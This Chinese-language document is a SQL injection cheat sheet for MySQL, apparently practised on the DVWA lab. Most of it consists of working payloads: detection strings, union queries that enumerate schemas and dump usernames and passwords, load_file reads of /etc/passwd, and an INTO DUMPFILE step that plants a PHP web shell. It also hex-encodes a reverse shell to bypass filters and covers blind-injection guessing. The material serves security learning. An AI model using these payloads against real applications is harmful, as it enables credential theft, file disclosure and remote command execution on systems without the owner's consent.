出現原因
服務器程序將用戶輸入的參數作為查詢條件,服務器對參數不嚴格校驗就拼接sql語句。
如
SELECT * FROM users WHERE user='uname' AND password='pass'
SELECT * FROM users WHERE user='name' AND password='' OR ''=''
漏洞發現
報錯檢測
' " % ()
布爾檢測
1' and '1'='1 | 1' and '1
1' and '1'='2 | 1' and '0
手工注入流程
1.判斷sql語句查詢了幾個字段
'order by 9--+
(--后必須有空格,在url上空格等同于+)
2.聯合查詢
' union select 1,2--+
常用函數
user() -- DB用戶
version() -- DB版本
char() -- ascii轉字符串
database() -- 當前庫
CONCAT_WS() -- 連接字符串,如CONCAT_WS(CHAR(32,58,32),user(),database(),version())
md5() -- 計算md5值
全局函數
@@datadir -- 數據庫路徑
@@hostname -- 主機名
@@VERSION -- DB版本
@@version_compile_os -- 系統版本
Mysql數據結構
information_schema -- 略
聯合查詢
所有庫和所有表
'union select table_name,table_schema from information_schema.tables--+
列出庫和庫里表的數量
'union select table_schema,count(*) FROM information_Schema.tables group by table_schema--+
查指定庫的表
'union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
查指定表的列
'union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
查指定列的內容
'union select user,password from dvwa.users--+
'union select null, concat(user,0x3a,password) from users--+
sql注入其他利用方法
讀取文件
'union SELECT null, load_file('/etc/passwd')--+
寫入文件
'union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/ www/a.php" --+
沒有權限寫入www目錄時可以考慮寫入/tmp目錄,然后使用文件包含
可以通過編碼為16進制格式繞過字符限制
' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--+
cat php-revers-shell.php | xxd -ps | tr -d '\n'
保存數據庫
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
特殊情況下的sql注入
無權讀取information_schema庫和拒絕union、order by語句
猜列名
' and column is null--+
(使用工具進行fuzz)
猜當前表
' and table.user is null--+
(有可能找到其他表)
猜其他表
' and (select count(*) from table)>0--+
猜指定表的列
' and users.user is null--+
猜字段內容
' or user='admin'--+
' or user like '%a%'--+
當數據庫可寫
盲注
盲注是不能通過直接顯示的途徑來獲取數據庫數據的方法。
分為:
Booleanbase(布爾型)
Timebase(時間型)
Errorbase(錯誤型)